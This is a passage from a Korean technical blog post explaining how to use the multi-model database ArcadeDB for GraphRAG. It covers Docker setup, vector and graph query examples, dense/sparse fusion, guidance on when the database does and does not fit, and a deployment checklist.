&lt;td&gt;네트워크·복제·매핑 계층 증가&lt;/td&gt;
&lt;td&gt;단일 엔진 의존도 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;독립 확장&lt;/td&gt;
&lt;td&gt;모델별로 별도 확장 가능&lt;/td&gt;
&lt;td&gt;워크로드가 같은 엔진 자원을 공유&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;운영&lt;/td&gt;
&lt;td&gt;백업·보안·모니터링이 제품별로 나뉨&lt;/td&gt;
&lt;td&gt;하나의 운영 단위로 단순화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;따라서 ArcadeDB의 주장은 “전문 DB는 필요 없다”가 아닙니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;데이터가 강하게 연결되어 있고 모델 사이 일관성이 중요한 경우, 여러 저장소로 나누는 비용이 전문화의 이점보다 큰지 다시 계산하자&lt;/strong&gt;는 쪽에 가깝습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Docker로 ArcadeDB 실행하기&lt;/h2&gt;
&lt;p&gt;공식 Docker 이미지를 사용하면 로컬에서 빠르게 확인할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--name&lt;/span&gt; arcadedb &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2480&lt;/span&gt;:2480 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2424&lt;/span&gt;:2424 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ARCADEDB_SETTINGS&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;-Darcadedb.server.rootPassword=change-this-password&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  arcadedata/arcadedb:latest&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;브라우저에서 &lt;code class=&quot;language-text&quot;&gt;http://localhost:2480&lt;/code&gt;으로 접속하면 ArcadeDB Studio를 열 수 있습니다.&lt;/p&gt;
&lt;p&gt;운영 환경에서는 &lt;code class=&quot;language-text&quot;&gt;latest&lt;/code&gt; 대신 검증한 버전을 고정하고 다음 항목을 먼저 확인하세요.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;컨테이너 메모리 제한과 JVM 힙&lt;/li&gt;
&lt;li&gt;데이터 볼륨 영속화&lt;/li&gt;
&lt;li&gt;백업과 복구 절차&lt;/li&gt;
&lt;li&gt;인증서와 외부 노출 포트&lt;/li&gt;
&lt;li&gt;HA·복제 토폴로지&lt;/li&gt;
&lt;li&gt;업그레이드 전 벡터 인덱스 호환성&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;GraphRAG 스키마 만들기&lt;/h2&gt;
&lt;p&gt;아래 예시는 문서 Chunk와 Entity를 그래프로 연결합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; VERTEX &lt;span class=&quot;token keyword&quot;&gt;TYPE&lt;/span&gt; Chunk&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; PROPERTY Chunk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content STRING&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; PROPERTY Chunk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;source STRING&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; PROPERTY Chunk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;chunkIndex &lt;span class=&quot;token keyword&quot;&gt;INTEGER&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; PROPERTY Chunk&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;embedding LIST &lt;span class=&quot;token keyword&quot;&gt;OF&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FLOAT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; VERTEX &lt;span class=&quot;token keyword&quot;&gt;TYPE&lt;/span&gt; Entity&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; PROPERTY Entity&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;name STRING&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; PROPERTY Entity&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;kind STRING&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; EDGE &lt;span class=&quot;token keyword&quot;&gt;TYPE&lt;/span&gt; MENTIONS&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; EDGE &lt;span class=&quot;token keyword&quot;&gt;TYPE&lt;/span&gt; RELATES_TO&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;벡터 인덱스를 추가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; Chunk &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;embedding&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; LSM_VECTOR METADATA {
  dimensions: &lt;span class=&quot;token number&quot;&gt;1536&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  similarity: &lt;span class=&quot;token string&quot;&gt;&apos;COSINE&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  quantization: &lt;span class=&quot;token string&quot;&gt;&apos;INT8&apos;&lt;/span&gt;
}&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;dimensions&lt;/code&gt;는 사용하는 임베딩 모델과 정확히 같아야 합니다. 모델을 바꿔 차원이 달라지면 같은 인덱스에 섞지 말고 버전이 다른 속성이나 타입으로 분리하는 편이 안전합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;벡터 검색하기&lt;/h2&gt;
&lt;p&gt;질문 임베딩과 가까운 Chunk 5개를 찾습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; source&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; distance &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; expand&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    vector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;neighbors&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Chunk[embedding]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; :queryVector&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;vector.neighbors()&lt;/code&gt;는 근사 최근접 이웃을 반환하고 &lt;code class=&quot;language-text&quot;&gt;expand()&lt;/code&gt;가 결과 목록을 행으로 펼칩니다.&lt;/p&gt;
&lt;p&gt;ArcadeDB의 &lt;code class=&quot;language-text&quot;&gt;LSM_VECTOR&lt;/code&gt;는 JVector 기반이며 Vamana 계열의 단일 계층 그래프와 계층형 HNSW 구성을 지원합니다. HNSW의 탐색 원리가 궁금하다면 &lt;a href=&quot;/hnsw-vector-search/&quot;&gt;HNSW란? 벡터 DB가 모든 벡터를 비교하지 않는 방법&lt;/a&gt;을 함께 보세요.&lt;/p&gt;
&lt;h3&gt;efSearch 조정&lt;/h3&gt;
&lt;p&gt;쿼리별로 검색 후보 폭을 조절할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; expand&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  vector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;neighbors&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;Chunk[embedding]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    :queryVector&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    { efSearch: &lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt; }
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;efSearch&lt;/code&gt;가 커지면 더 많은 후보를 탐색해 recall이 좋아질 가능성이 커지지만 지연과 CPU 사용량도 늘어납니다. 기본값부터 시작해 실제 데이터로 Recall@K와 p95 지연을 함께 측정하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;그래프 관계로 컨텍스트 확장하기&lt;/h2&gt;
&lt;p&gt;벡터 검색은 문장이 비슷한 Chunk를 잘 찾습니다. 하지만 “이 회사의 공급망과 관련된 다른 사건”처럼 여러 관계를 건너야 하는 질문은 임베딩 거리만으로 부족할 수 있습니다.&lt;/p&gt;
&lt;p&gt;먼저 Chunk가 언급한 Entity를 연결합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; EDGE MENTIONS
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; Chunk &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; source &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;report-2026.pdf&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;AND&lt;/span&gt; chunkIndex &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;TO&lt;/span&gt;   &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; Entity &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; name &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Arcade Data&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;관계를 따라 다른 Chunk까지 확장합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;cypher&quot;&gt;&lt;pre class=&quot;language-cypher&quot;&gt;&lt;code class=&quot;language-cypher&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;MATCH&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;c&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Chunk&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;MENTIONS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Entity&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;RELATES_TO&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;related&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Entity&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token relationship property&quot;&gt;MENTIONS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;other&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Chunk&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;source &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;report-2026.pdf&apos;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;RETURN&lt;/span&gt; related&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; other&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; other&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;source&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 구조에서는 다음 검색 흐름을 만들 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;질문
→ Vector Search: 의미가 가까운 시작 Chunk
→ Graph Traversal: 연결된 Entity와 다른 Chunk 확장
→ Full-Text / Sparse Search: 고유명사와 정확한 용어 보강
→ Rerank
→ LLM Context&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;문서의 구조와 출처를 보존하는 방법은 &lt;a href=&quot;/hybrid-markdown-document-digitization/&quot;&gt;비정형 문서를 하이브리드 Markdown으로 디지털화하기&lt;/a&gt;에서 다뤘습니다. 정형 데이터의 업무 의미를 붙이는 과정은 &lt;a href=&quot;/structured-data-semantic-layer-tag/&quot;&gt;Semantic Layer·TAG·SAG 실전 설계&lt;/a&gt;와 연결됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Dense와 Sparse 검색 합치기&lt;/h2&gt;
&lt;p&gt;의미는 비슷하지만 행동이 반대인 문장이 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;도난 후 카드를 &lt;strong&gt;정지&lt;/strong&gt;하는 방법&lt;/li&gt;
&lt;li&gt;여행 후 카드를 &lt;strong&gt;정지 해제&lt;/strong&gt;하는 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dense embedding은 두 문장을 가깝게 볼 수 있습니다. Sparse 검색은 &lt;code class=&quot;language-text&quot;&gt;정지&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;해제&lt;/code&gt;처럼 판별력이 큰 토큰을 유지하는 데 유리합니다.&lt;/p&gt;
&lt;p&gt;ArcadeDB 공식 GraphRAG 예제는 dense 결과와 sparse 결과를 RRF로 합치는 쿼리를 제공합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; expand&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  vector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fuse&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    vector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;neighbors&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;Chunk[embedding]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; :denseQuery&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    vector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sparseNeighbors&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&apos;Chunk[tokens,weights]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; :queryIndices&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; :queryValues&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    { fusion: &lt;span class=&quot;token string&quot;&gt;&apos;RRF&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; groupBy: &lt;span class=&quot;token string&quot;&gt;&apos;source&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; groupSize: &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; }
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;groupBy: &apos;source&apos;&lt;/code&gt;는 같은 문서의 비슷한 Chunk가 컨텍스트를 독점하는 현상을 줄입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;어떤 쿼리 언어를 써야 할까?&lt;/h2&gt;
&lt;p&gt;ArcadeDB는 SQL, Cypher, Gremlin, GraphQL과 여러 호환 프로토콜을 제공합니다. 그렇다고 한 프로젝트에서 전부 사용할 필요는 없습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;작업&lt;/th&gt;
&lt;th&gt;추천 시작점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;문서 CRUD·필터·집계&lt;/td&gt;
&lt;td&gt;SQL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;관계 패턴 탐색&lt;/td&gt;
&lt;td&gt;Cypher&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;단계별 절차형 그래프 순회&lt;/td&gt;
&lt;td&gt;Gremlin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;앱 API 스키마&lt;/td&gt;
&lt;td&gt;GraphQL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;기존 드라이버 연결&lt;/td&gt;
&lt;td&gt;지원 범위를 확인한 호환 프로토콜&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;팀의 기본 언어 하나를 정하고, 표현력이 부족한 일부 쿼리에만 다른 언어를 쓰는 편이 유지보수하기 쉽습니다.&lt;/p&gt;
&lt;p&gt;특히 MongoDB·Redis 호환 프로토콜은 모든 명령을 완전히 대체한다고 가정하지 말고 애플리케이션이 사용하는 명령 집합을 먼저 테스트하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ArcadeDB가 잘 맞는 경우&lt;/h2&gt;
&lt;h3&gt;1. GraphRAG&lt;/h3&gt;
&lt;p&gt;Chunk, Entity, embedding과 출처를 함께 갱신하고 벡터 검색 뒤에 다단계 관계 탐색이 필요할 때 잘 맞습니다.&lt;/p&gt;
&lt;h3&gt;2. 추천 시스템&lt;/h3&gt;
&lt;p&gt;사용자·상품·행동 관계와 상품 임베딩, 시간에 따른 이벤트를 함께 다룰 수 있습니다.&lt;/p&gt;
&lt;h3&gt;3. 사기 탐지&lt;/h3&gt;
&lt;p&gt;계정·기기·결제 관계를 그래프로 탐색하면서 벡터나 시계열 특징을 같은 레코드에 연결할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;4. AI 메모리와 지식 그래프&lt;/h3&gt;
&lt;p&gt;대화, 사실, 엔티티, 관계, 임베딩을 하나의 생명주기로 관리하려는 경우입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;ArcadeDB를 선택하지 말아야 하는 경우&lt;/h2&gt;
&lt;h3&gt;1. 단순 CRUD 서비스&lt;/h3&gt;
&lt;p&gt;관계 탐색이나 벡터 검색이 없고 일반적인 트랜잭션 CRUD가 대부분이면 익숙한 RDBMS가 더 단순합니다.&lt;/p&gt;
&lt;h3&gt;2. 모델별 독립 확장이 중요할 때&lt;/h3&gt;
&lt;p&gt;벡터 검색과 시계열 수집의 트래픽 패턴이 완전히 다르고 각각 독립적으로 확장해야 한다면 전문 시스템 분리가 유리할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;3. 특정 전문 기능이 절대 조건일 때&lt;/h3&gt;
&lt;p&gt;특정 검색 엔진 플러그인, 관리형 벡터 DB의 SLA, 그래프 분석 생태계가 필수라면 멀티모델의 운영 단순화보다 전문 제품의 깊이가 중요합니다.&lt;/p&gt;
&lt;h3&gt;4. 운영 경험이 없는 상태에서 핵심 시스템을 바로 이전할 때&lt;/h3&gt;
&lt;p&gt;새 데이터베이스 도입은 쿼리 데모보다 복구 훈련, 장애 대응, 업그레이드와 모니터링 검증이 더 중요합니다. 작은 읽기 전용 워크로드부터 시작하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;도입 전 검증 체크리스트&lt;/h2&gt;
&lt;h3&gt;데이터 모델&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Chunk와 Entity의 삭제 수명주기가 명확한가&lt;/li&gt;
&lt;li&gt;간선에 출처와 추출 버전을 저장하는가&lt;/li&gt;
&lt;li&gt;embedding 모델과 차원을 버전 관리하는가&lt;/li&gt;
&lt;li&gt;원문 좌표와 provenance를 보존하는가&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;검색 품질&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Exact Search 기준 Recall@K를 측정했는가&lt;/li&gt;
&lt;li&gt;dense·sparse·graph 각각의 기여도를 분리했는가&lt;/li&gt;
&lt;li&gt;같은 문서의 중복 Chunk를 제한했는가&lt;/li&gt;
&lt;li&gt;필터 조건별 후보 부족을 테스트했는가&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;운영&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;백업에서 실제 복구해 보았는가&lt;/li&gt;
&lt;li&gt;벡터 인덱스 재구축 시간과 디스크 여유를 측정했는가&lt;/li&gt;
&lt;li&gt;대량 쓰기 중 검색 지연을 확인했는가&lt;/li&gt;
&lt;li&gt;버전과 Docker 이미지 태그를 고정했는가&lt;/li&gt;
&lt;li&gt;호환 프로토콜에서 사용하는 명령을 회귀 테스트했는가&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;ArcadeDB가 임베딩도 생성하나요?&lt;/h3&gt;
&lt;p&gt;일반적으로 임베딩은 외부 모델이나 임베딩 서비스에서 생성하고 ArcadeDB에는 결과 벡터를 저장합니다. 데이터베이스의 역할은 벡터를 인덱싱하고 다른 모델과 함께 조회하는 것입니다.&lt;/p&gt;
&lt;h3&gt;Neo4j와 같은 그래프 DB인가요?&lt;/h3&gt;
&lt;p&gt;그래프가 핵심 모델인 것은 맞지만 문서, 벡터, 전문 검색, Key-Value와 시계열도 같은 엔진에서 다루는 멀티모델 DB입니다. 제품 비교는 기능표보다 실제 쿼리, 운영 요구와 팀 경험으로 판단해야 합니다.&lt;/p&gt;
&lt;h3&gt;HNSW를 사용하나요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;LSM_VECTOR&lt;/code&gt; 인덱스는 JVector를 기반으로 하며 계층형 HNSW와 단일 계층 Vamana 구성을 지원합니다. 데이터 크기와 차원, 업데이트 패턴에 맞춰 선택해야 합니다.&lt;/p&gt;
&lt;h3&gt;한 DB에 다 넣으면 단일 장애점이 되지 않나요?&lt;/h3&gt;
